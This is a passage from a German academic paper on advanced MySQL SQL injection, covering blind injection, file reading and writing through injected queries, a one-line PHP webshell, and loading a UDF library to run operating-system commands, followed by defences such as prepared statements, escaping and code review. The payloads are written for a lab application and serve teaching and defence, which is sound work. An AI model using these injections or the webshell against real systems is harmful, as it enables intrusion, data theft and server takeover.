Injection 17: Wenn die MySQL-Version kleiner als 5 ist, wird ein Fehler geworfen, ansonsten werden die Nachrichten der Kategorie zwei angezeigt. In obiger Injection wird kein Fehler erzeugt, wenn die erste Zahl im Versions-String eine 5 ist. Dann vergleicht die Funktion REGEXP nmlich den String match mit dem Pattern match, was zu TRUE ausgewertet wird und die Nachrichten der Kategorie zwei werden angezeigt. Luft auf dem Server eine MySQL-Version kleiner als 5, wird der Fehler #1139 - Got error empty (sub)expression from regexp ausgelst, weil die REGEXP-Funktion den String match mit einem Leerstring vergleichen will. Der REGEXPTrick stammt von [9]. In anderen Datenbanken lassen sich Fehler sehr viel einfacher provozieren - zum Beispiel mit SELECT 1/0. Aber MySQL interpretiert in dieser Hinsicht recht viel. Sogar WHERE category=(SELECT CONCAT(2 , Unk nown Column)) wird korrekt ausgefhrt. 4.2.3 Inhaltsbezogene Blind Injections Nachteil der fehlerbasierten Extraktion ist, dass viele Fehler auf dem Server erzeugt werden, die i.d.R. protokolliert werden. Diesen Nachteil kann man mit inhaltssensitiven Anfragen ausgleichen: IF (Bedingung = True) THEN Output1 ELSE Output2 Listing 6: Prinzipielle Funktionsweise von inhaltsbezogenen Blind Injections. Je nach Auswertung von x ndert sich der Inhalt der Webseite. In Blind Injection 18 wird eine binre Suche eingesetzt, um einen MySQL-Benutzer zu extrahieren der File-Permissions hat (hier wre dies der Benutzer root@localhost. Hinweis: Beginnt mit Hochkomma.). Wenn die Bedingung in nachfolgender Injection falsch ist, werden keine Nachrichten angezeigt und ansonsten die der zweiten Kategorie:

18

4 Advanced SQL-Injections URL: news.php?category=2 and (SELECT ascii(substring((SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=File Limit 1),1,1)))>77
/*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 and (SELECT ascii(substring( (SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=File Limit 1), 1,1))) > 77

Injection 18: Prft ob der erste Buchstabe eines Benutzer mit File-Permissions grer als 77 (ASCII fr M) ist. Das Hochkomma ist in ASCII die Zahl 39 und daher wird keine Nachrichtenmeldung angezeigt. Hinweis: Beim Herauskopieren der URL aus dem PDF-Dokument, mssen bei den Zeilenumbrchen Leerzeichen eingefgt werden. Die obige Injection funktioniert folgendermaen: In der USER_PRIVILEGES Tabelle wird nach einem einzigen Benutzer gesucht, der File-Permissions hat (durch LIMIT auf genau ein Resultat begrenzt). Von dem ermittelten Benutzer wird durch substring(SFW,1,1) der erste Buchstabe extrahiert und mittels ascii() in die Zahl 39 umgewandelt und mit 77 verglichen. Da die Abfrage zu FALSE ausgewertet wurde, wird im Stile der binren Suche die Abfrage in der unteren Hlfte von 77 fortgesetzt.

4.3 Filesystem Access


In diesem Abschnitt wird beschrieben, wie man durch SQL-Injections schreibenden und lesenden Zugri auf das Dateisystem erlangt. 4.3.1 Lesender Zugri auf das Dateisystem Lesender Zugri auf das Dateisystem kann sinnvoll sein, um Informationen fr das weitere Vorgehen zu sammeln oder um brisante Informationen zu entwenden. Zu den interessanten Informationen gehren zum Beispiel Klartextpasswrter aus Kongurationsdateien oder ganze MySQL-Tabellen, welche ebenfalls in Dateien gespeichert sind oder die PHP-Scripte. Dazu hat MySQL die eingebaute Funktion LOAD_FILE(path_to_file), die es ermglicht Text- und Binrdateien vom System zu lesen. Wenn die Datei weniger als 5000 Zeichen enthlt, bereitet dies keine Probleme. Bei mehr als 5000 Zeichen sei auf das Paper [5] verwiesen. Die Voraussetzungen fr einen lesenden Zugri sind: Der Session-User muss das Recht FILE haben. Unter Linux und UNIX Systemen, muss die zu lesende Datei dem Benutzer7 gehren, der den MySQL-Prozess gestartet hat oder fr alle lesbar sein. Unter Windows
7

Normalerweise wird in Linux ein eigener Benutzer namens mysql angelegt. Die Datei muss also dem Benutzer mysql gehren.

19

4 Advanced SQL-Injections luft MySQL standardmig als Local System und daher kann jede beliebige Datei gelesen werden. Injection 19 zeigt, wie man sich beliebige Textdateien mit Hilfe der Schwachstelle in news.php anzeigen lassen kann: URL: news.php?category=2 UNION SELECT LOAD_FILE(C:/Windows/Temp/itsecproject.txt),null,null
/*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 UNION SELECT LOAD_FILE(C:/Windows/Temp/itsecproject.txt),null,null /*Ergebnis im Browser*/

Injection 19: Der MySQL-Prozess hat unter Windows sogar ausreichende Rechte um Dateien aus dem Temp-Ordner zu lesen. Beim Betreten des Ordners ber den Explorer fordert die Windows UAC normalerweise auf, ob man den Vorgang fortsetzen mchte. Falls man auf diesem Wege PHP-Scripte auslesen und diese per UNION anzeigen mchte, so kommt das Script in entstellter Form im Browser an, da der Browser versucht das Script zu interpretieren. Abhilfe verschat das Hinzufgen der SQL-Funktion HEX(string):
SELECT * FROM news WHERE category=2 UNION SELECT HEX(LOAD_FILE(C:/xampp/htdocs/itsec/news.php)),null,null

4.3.2 Schreibender Zugri auf das Dateisystem Um den kompletten Server zu kompromittieren (siehe Abschnitt UDF 4.4.2) oder neue Scripte auf einem Server zu deployen (siehe Abschnitt Webshell 4.4.1), kann es sinnvoll sein schreibenden Zugri auf das Dateisystem zu haben. Hierfr bietet MySQL folgende Befehle an:
/*INTO OUTFILE fuer Textdateien*/ SELECT <?php phpinfo()?> INTO OUTFILE C:/xampp/htdocs/itsec/info.php; /*INTO DUMPFILE fuer Binaerdateien*/ SELECT 0x273c3f70687020706870696e666f28293f3e27 INTO DUMPFILE C:/xampp/htdocs/itsec/info.php;

Beschrnkungen bzw. Voraussetzungen fr einen schreibenden Zugri sind:

20

4 Advanced SQL-Injections Nutzt man den GET-Kanal um eine Datei zu bertragen, muss man beachten, dass eine URL auf eine maximale Lnge von 2048 Zeichen beschrnkt ist. Dateien knnen nicht berschrieben werden und an bestehende Dateien kann nichts angefgt werden. Unter Linux und UNIX Systemen, gehrt die erstelle Datei dem Benutzer, der den MySQL-Prozess gestartet hat. Unter Windows ist die erstellte Datei systemweit lesbar. Injection 20 zeigt, wie man die Dynamic Link Library lib_mysqludf_sys.dll8 auf einen Host kopieren kann (dieser Schritt ist wichtig fr den nchsten Abschnitt UDF). Da die Datei ber 5000 Zeichen enthlt, muss ein verwundbarer POST-Parameter verwendet werden. Daher wird die login.php verwendet: Username: Password: UNION SELECT null,null,null,null, 0x4D5A900003...000000 INTO OUTFILE C:/xampp/mysql/lib/plugin/lib_mysqludf_sys.dll-/*Resultierende Abfrage*/ SELECT * FROM users WHERE username = AND password = UNION SELECT null,null,null,null, 0x4D5A900003...000000 INTO OUTFILE C:/xampp/mysql/lib/plugin/lib_mysqludf_sys.dll-- ; /*Auf der Webseite erscheint die Meldung,*/ /*"Warning: mysql_num_rows() expects parameter 1 to be resource, boolean",*/ /*weil die Funktion mysql_query() TRUE zurueck gibt und nicht die Anzahl der betroffenen /*Zeilen. Die Datei wird aber trotzdem erstellt.*/

Injection 20: Mit Hilfe der Schwachstelle in login.php wird eine DLL auf den Server kopiert. Der Hex-String wurde durch drei Punkte abgekrzt. Diese Technik erlaubt es uns, jede Art von Datei auf den Zielrechner zu schreiben. Ein schreibender Zugri ist meistens nur der erste Schritt, um an eine Shell zu kommen. Dies wird im nchsten Abschnitt nher betrachtet.

4.4 Operating System Access


In diesem Abschnitt wird demonstriert, wie man durch eine MySQL-Injection die Kontrolle ber das komplette System erlangen kann. 4.4.1 Erzeugen einer Webshell Gelingt es uns das SQL-Statement in Listing 7 einzuschleusen, sind wir im Besitz einer Webshell und knnen beliebige Befehle auf dem Zielrechner ausfhren. Voraussetzungen
8

https://svn.sqlmap.org/sqlmap/trunk/sqlmap/udf/mysql/windows/32/lib_mysqludf_sys.dll

21

4 Advanced SQL-Injections hierfr sind, dass der Benutzer, unter dem der MySQL-Prozess luft, ausreichende Rechte hat, um den Befehl auszufhren, dass der Session-User die File-Permission hat, dass man den Pfad zum Webroot kennt und dass der Webserver und die MySQL-Datenbank auf dem gleichen Server laufen.
UNION SELECT "<?system($_REQUEST[cmd]);?>" INTO OUTFILE "/var/www/html/victim.com/ cmd.php" --

Listing 7: Erstellt im Webroot-Verzeichnis die Datei shell.php. Quelle: [4] Die Webshell nimmt den Befehl ber den GET-Parameter cmd entgegen und fhrt diesen mit den rechten des MySQL-Prozesses aus. Aufgerufen kann die Webshell zum Beispiel ber victim.de/shell.php?cmd=dir>test.txt. Die Ausgabe der Shell, die in test.txt umgeleitet wurde, knnte ber eine weitere Injection wieder eingelesen und ausgegeben werden. 4.4.2 User Dened Functions Mit User Dened Functions (kurz UDF) kann man in MySQL eigene SQL-Befehle erstellen, die dann innerhalb eines Statements wie native (eingebaute) Funktionen wie etwa MAX() oder SUM() aufgerufen werden knnen. Um eine UDF in MySQL zu registrieren existiert folgender Befehl: CREATE [AGGREGATE] FUNCTION function_name RETURNS {STRING|INTEGER|REAL|DECIMAL} SONAME shared_library_name Die Ausfhrung des obigen SQL-Statements bewirkt einen neuen Eintrag in der Tabelle mysql.func. Fr den Parameter shared_library_name wird der Name einer DLL9 inklusive Dateiendung angegeben, die den Code zur Implementierung der Funktion enthlt. Fr den Parameter function_name muss ein Funktionsname aus der DLL angegeben werden. In MySQL ab Version 5.1.19 wird erwartet, dass die DLL im Verzeichnis @@plugin_dir (in Windows C:\xampp\mysql\lib\plugin) liegt. Fr den Exploit kommt die bereits erwhnte lib_mysqludf_sys.dll zum Einsatz. Diese hat fr uns zwei interessante Funktionen: sys_eval(cmd) - fhrt ein beliebiges Kommando aus und gibt dessen Standardausgabe zurck. sys_exec(cmd) - fhrt ein beliebiges Kommando aus und gibt dessen Exit-Statuts zurck. Das nachfolgende Listing zeigt nochmals alle Schritte:

Unter Linux ein entsprechendes Shared Object.

22

5 Schutzmanamen

/*****************************************/ /** 1. Kopieren der UDF auf den Server **/ /*****************************************/ /*Dies wurde bereits im Kapitel "File Access" gezeigt*/ /********************************/ /** 2. Funktionen Registrieren **/ /********************************/ CREATE FUNCTION sys_eval RETURNS STRING SONAME lib_mysqludf_sys.dll CREATE FUNCTION sys_exec RETURNS INTEGER SONAME lib_mysqludf_sys.dll /*******************************************/ /** 3. Warten bis MySQL neugestartet wird **/ /*******************************************/ /*Hinweis: mysqld darf nicht mit der Option --skip-grant-tables gestartet werden, weil dies die UDF-Initialisierung ueberspringt.*/ /**************************/ /** 2. Exploit ausfuehren **/ /**************************/ /*Benutzereingabe*/ URL: news.php?category=2 UNION SELECT null,null, sys_exec(shutdown /s) /*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 UNION SELECT null,null, sys_exec(shutdown /s) /*PC wird in einer Minute ausgeschaltet.*/ /*Abbrechen mit shutdown -a*/

Wer noch mehr ber diesen Angri nachlesen mchte, dem sei das Paper von Bernardo Damele [5] als Einstiegspunkt empfohlen. Voraussetzungen fr den Angri sind, dass der Session-User FILE- und INSERT-Rechte besitzt und das MySQL nicht statisch kompiliert wurde. Fr das Einschleusen der CREATE Function-Statements sollten auerdem Stacked Queries funktionieren10 .

5 Schutzmanamen
Um sich gegen SQL-Injections zu schtzen existieren diverse Mglichkeiten. Ist man im besitzt des Quellcodes kann man beispielsweise den Code manuell reviewen und nach Sinks11 suchen. Im Bezug auf PHP wren dies alle Datenbank-Funktionen, die Abfrage-Strings direkt ausfhren. Um die Suche etwas zu erleichtern, knnte man sich in Linux beispielsweise grep bedienen:
10

Stacked Queries funktionieren mit PHP und einer MySQL-Datenbank nicht. Aber zum Beispiel in ASP.NET + MySQL. Eine tabellarische bersicht mit anderen Kombinationen bendet sich in [5]. 11 Sicherheitsrelevante Funktionen/Gefhrliche Funktionen

23

5 Schutzmanamen
$ grep -r -n "\(mysql\|mssql\|mysql_db\)_query\(.*\$_\(GET\|\POST\).*\)" src/ | awk -F : {print "filename: "$1"\nline: "$2"\nmatch: "$3"\n\n"} filename: src/mssql_query.vuln.php line: 11 match: $result = mssql_query("SELECT * FROM TBL WHERE COLUMN = $_GET[var]"); filename: src/mysql_query.vuln.php line: 13 match: $result = mysql_query("SELECT * FROM TBL WHERE COLUMN = $_GET[var]", $link);

Listing 8: Durchsucht ein Verzeichnis mit PHP-Scripten rekursiv nach bestimmten anflligen MySQL-Funktionen. Quelle: [4] Fr diese Suche knnen auch entsprechende Analyse-Tools verwendet werden. Bekannte Quellcode-Analizer sind Yet Another Source Code Analyzer, Pixy, AppCodeScan, LAPSE, Security Compass Web Application Analysis Tool, Microsoft Source Code Analyzer for SQL Injection oder Microsoft Code Analysis Tool .NET. Manche davon nutzen lediglich Regulre-Ausdrcke (hnlich dem grep Beispiel) und andere bedienen sich anspruchsvolleren Analysetechniken, wie Lexical Analysis, Abstract Syntax Trees oder Kontrollussgraphen. Jedoch kann hier nicht genauer auf diese Techniken eingegangen werden Ist man nicht im Besitzt des Sourcecodes, da es sich beispielsweise um eine LegacyApplikation handelt oder man schtzt eine Applikation nicht als besonders sicher programmiert ein, kann man eine Web Application Firewall (kurz WAF) einsetzen. WAFs ltern Anfragen auf der Anwendungsschicht und knnen in eine bestehende Architektur in unterschiedlichen Stellen integriert werden. Manche WAFs, wie AMNESIA[7], funktionieren nicht nur nach dem Blacklisting-Prinzip, sondern nutzen auch Neuronale-Netze, um anormale Anfragen zu erkennen und knnten daher auch vor bisher unbekannten Angrien schtzen. Das Paper von William G.J. Halfond et al. [8] gibt einen sehr guten berblick ber dieses Thema, das hier lediglich angerissen werden kann. Nicht ganz unangesprochen sollte das Thema der Infrastruktur-Konguration sein. Auf der CIS Webseite [3] ndet man sehr ausfhrliche Anleitungen, wie man seine Systeme absichern sollte. Auerdem sollte man dem Session-User so wenig Rechte wie mglich geben (evtl. Union-Recht revoken etc.). An erster Stelle sollte allerdings das Wissen ber defensives Programmieren stehen, um Schwachstellen bereits in der Implementierungsphase zu vermeiden. Der nchste Abschnitt wird daher genauer auf dieses Thema eingehen.

5.1 Defensives Programmieren


5.1.1 Prepared Statements Prepared Statements stellen eine Alternative zu der angesprochenen dynamischen StringKonkatenation dar und verhindern SQL-Injections. Die meisten Programmiersprachen bieten entsprechende APIs an, um Prepared Statements zu erstellen und vom Datenbank Management System (DBMS) ausfhren zu lassen. Prepared Statements funktionieren

24

5 Schutzmanamen folgendermaen: In das SQL-Statement werden Platzhalter, wie beispielsweise ein ? eingefgt. Dieses Statement wird dann vom Parser des DBMS interpretiert und die Abfrage wird in eine vorkompilierte Form gebracht. Danach wird mit Hilfe der API den einzelnen Fragezeichen ein Wert zugewiesen. Da der Wert als Parameter erst nachtrglich bergeben wird, hat er keinen Einuss auf den zuvor durchgefhrten Parsevorgang, wodurch sich das bereits vorkompilierte SQL-Statement nicht mehr beeinussen lsst. Bei mehrmaligem Ausfhren des gleichen Prepared Statements mit anderen Parametern bringt dies gegenber dynamischen SQL auch einen Geschwindigkeitsvorteil, weil das Statement nur einmal geparsed werden muss. Nicht alle dynamischen SQL-Abfragen knnen parametrisiert werden. Normalerweise knnen nur Daten parametrisiert werden, aber keine SQL-Indentier oder SQL-Keywords:
SELECT * FROM ? WHERE username = john SELECT ? FROM users WHERE username = john SELECT * FROM users WHERE username LIKE j% ORDER BY ?

Listing 9: Beispiele fr nicht parametrisierbare Queries. Quelle:[4] Diese Einschrnkung kann in der Praxis meist dadurch ausgeglichen werden, dass entweder fr jeden Zweck ein eigenstndiges, abgewandeltes Prepared Statement angelegt wird oder indem man eine Mischung aus Prepared Statements und dynamischem SQL einfhrt:
$queryString = "SELECT * FROM " . table . " " . "WHERE user = ? and password= ?";

Wichtig ist hierbei, dass die Variable table entweder vom System stammt oder entsprechend gesubert wurde. Unser PHP-Script aus Listing 1 liee sich wie folgt mit Prepared Statements absichern:

25

5 Schutzmanamen
if(isset($_POST[submit])){ $db = new mysqli("localhost", "root", "", "itsec") or die(mysqli_connect_error()); $stmt = $db->prepare("SELECT * FROM users WHERE username = ? AND password = ?") or die($stmt->error); $stmt->bind_param(ss,$_POST[username],$_POST[password]) or die($stmt->error); $stmt->execute() or die($stmt->error); $stmt->bind_result($col1,$username,$col3,$col4,$col5) or die($stmt->error); if ($stmt->fetch()){ echo welcome . $username . <br />; } else{ echo Access Denied; } $stmt->close(); $db->close(); }

Listing 10: Die unsichere Funktion mysql_query() aus der login.php wird durch ein Prepared Statement ersetzt. 5.1.2 Escaping von Metazeichen Die beste Praxis, um sich gegen SQL-Injections zu schtzen, ist die strikte Verwendung von Prepared Statements innerhalb der gesamten Applikation. An Stellen an denen dies nicht mglich ist (etwa wenn die Programmiersprache keine API bereitstellt oder der Aufwand zum Umschreiben der Sinks zu gro ist), mssen bestimmte Zeichen escaped werden. Zu diesen Zeichen gehrt zum Beispiel das einfache Hochkomma, weil es von MySQL als String-Terminator interpretiert wird. Um einem Zeichen die Bedeutung fr den Parser zu nehmen, wird dem Zeichen in MySQL ein Backslash vorangestellt. Dieser Schritt wird als escapen oder auch encoden bezeichnet. Dadurch ist es dann auch mglich Namen, wie OBrien in die Datenbank zu speichern. Da das Hochkomma aber nicht das einzige gefhrliche Zeichen ist und jede Datenbank andere Metazeichen hat, ist tunlichst davon abzuraten eigene Funktionen zum Escapen von Strings zu schreiben. In PHP sollte man die Funktion mysql_real_escape_string($user) verwenden. Diese Funktion stammt direkt vom MySQL-DBMS, also von den Entwicklern, die auch den Query-Parser geschrieben haben und ist daher besser als jede selbstgeschriebene Funktionen. Auch ein wichtiger Punkt fr sichere Applikationen, der noch Beachtung verdient, ist die Eingabevalidierung. Unter Eingabevalidierung ist zu verstehen, dass man prft, ob die Daten vom erwarteten Typ, der richtigen Lnge oder im erwarteten Format sind. Hierbei sei noch erwhnt, dass White-Listing dem Black-Listing, wenn mglich vorzuziehen ist. 5.1.3 Stored Procedures Unter einer Stored Procedure versteht man, dass der SQL-Code in der Datenbank deniert und gespeichert wird. Die Stored Procedure wird von der Applikation dann lediglich ber ihren Namen und mit den gewnschten Parametern aufgerufen. Normalerweise wird in Stored Procedures kein dynamisches SQL verwendet und sie bieten daher Schutz vor

26

6 Zusammenfassung Injections. Allerdings kann eine Stored Procedure auch dynamisches SQL nutzen und somit auch unsicher implementiert sein, wie Listing 11 zeigt:
CREATE PROCEDURE SP_ StoredProcedure (input varchar(400)) BEGIN SET @param = input; SET @sql = concat(SELECT field FROM table WHERE field=,@param); PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; End

Listing 11: Verwundbare MySQL Stored Procedure. Quelle:[4] Im vorhergehenden Listing stammt die Variable input direkt vom Benutzer und wird mit dem Abfrage-String konkateniert. Dies ist genauso anfllig fr Injections, wie die bisherigen Beispiele.

6 Zusammenfassung
Das Paper hat die wichtigsten Injections zu MySQL erklrt. Fr die Datenbanken Microsoft SQL-Server, Postgres und Oracle existieren die gleichen Vorgehensweisen in unterschiedlicher Syntax und teilweise auch noch spezischere Exploits: Das Pendant zu User Dened Functions wren im SQL-Server Stored Procedures. Dort kann man ber Stored Procedures bereits mitgelieferte DLLs ansprechen, welche die Datenbank mit zustzlichen Systemfunktionalitten erweitert. Beispielsweise existiert hier eine Stored Procedure namens xp_cmdshell 12 mit der man beliebige Befehle auf dem Zielrechner ausfhren kann. Eine weitere Technik, die nicht angesprochen wurde sind sog. Out Of Band Angrie, in denen sekundre Kommunikationskanle (z.B. E-Mail) fr einen Exploit genutzt werden.

Literatur
[1] Chris Anley. ( more ) Advanced SQL Injection. In: Next Generation Security Software LTD White Paper September (2002). url: http://scholar.google. com/scholar?hl=en\&btnG=Search\&q=intitle:(+more+)+Advanced+SQL+ Injection\#0. [2] Stephen W Boyd und Angelos D Keromytis. SQLrand : Preventing SQL Injection Attacks. In: Architecture. Lecture Notes in Computer Science 3089.10 (2004), S. 292302. doi: 10.1007/978-3-540-24852-1\_21. url: http://www. springerlink.com/index/j2efhxbrf83xmd5g.pdf.

12

xp_cmdshell ist in SQL Server 2005 standardmig aktiviert. In den nachfolgenden Versionen nicht.

27

Literatur [3] Center for Internet Security :: Security Benchmarks Division :: Download Form for CIS Resources. url: https://benchmarks.cisecurity.org/en-us/?route= downloads.multiform (besucht am 11. 06. 2012). [4] Justin Clarke und Rodrigo Marcos Alvarez. SQL Injection Attacks and Defense. Bd. 54. Syngress, 2009, S. 474. isbn: 9781597494243. url: http://www.amazon. com/Injection-Attacks-Defense-Justin-Clarke/dp/1597494240. [5] Bernardo Damele und Assumpo Guimares. Advanced SQL injection to operating system full control. In: Read (2009), S. 137. url: http://novacaine.me. pn/whitepapers/Damele-SQLInjection.pdf. [6] Je Forristal. Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 08 of 12. url: http://www.phrack.org/issues.html?id=8\&issue=54 (besucht am 07. 06. 2012). [7] William G J Halfond und Alessandro Orso. AMNESIA : Analysis and Monitoring for NEutralizing SQL-Injection Attacks. In: Proceedings of the 20th IEEEACM international Conference on Automated software engineering. ASE 05 (2005), S. 174183. doi: 10.1145/1101908.1101935. url: http://portal.acm.org/ citation.cfm?id=1101935. [8] William G J Halfond, Jeremy Viegas und Alessandro Orso. A Classication of SQL Injection Attacks and Countermeasures. In: Computing (2006), S. 111. url: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.95.2968\ &amp;rep=rep1\&amp;type=pdf. [9] Haxxor Security: Speeding up Blind SQL Injections using Conditional Errors in MySQL. url: http://ha.xxor.se/2011/06/speeding-up-blind-sql-injectionsusing.html (besucht am 11. 06. 2012). [10] List of tools for static code analysis. 2012. url: http://en.wikipedia.org/wiki/ List\_of\_tools\_for\_static\_code\_analysis (besucht am 07. 06. 2012). [11] OWASP. Top 10 2010-Main - OWASP. 2010. url: https://www.owasp.org/ index.php/Top\_10\_2010-Main (besucht am 07. 06. 2012). [12] Best Practices. Sicherheit von Webanwendungen. In: Informationstechnik August (2006). Hrsg. von Gerti Kappel u. a., S. 319344. url: https://www.bsi.bund. de/SharedDocs/Downloads/DE/BSI/Publikationen/Studien/WebSec/WebSec\ _pdf.pdf. [13] Zhendong Su und Gary Wassermann. The essence of command injection attacks in web applications. In: ACM SIGPLAN Notices 41.1 (Jan. 2006), S. 372382. issn: 03621340. doi: 10.1145/1111320.1111070. url: http://dl.acm.org/citation. cfm?id=1111320.1111070. [14] Mcahit Yekta und Ali Recai Yekta. Advanced SQL Injection in MySQL. 2008. url: http://www.alirecaiyekta.com/uploads/Advanced-SQL-Injection-inMySQL-GERMAN.pdf.

28

Das könnte Ihnen auch gefallen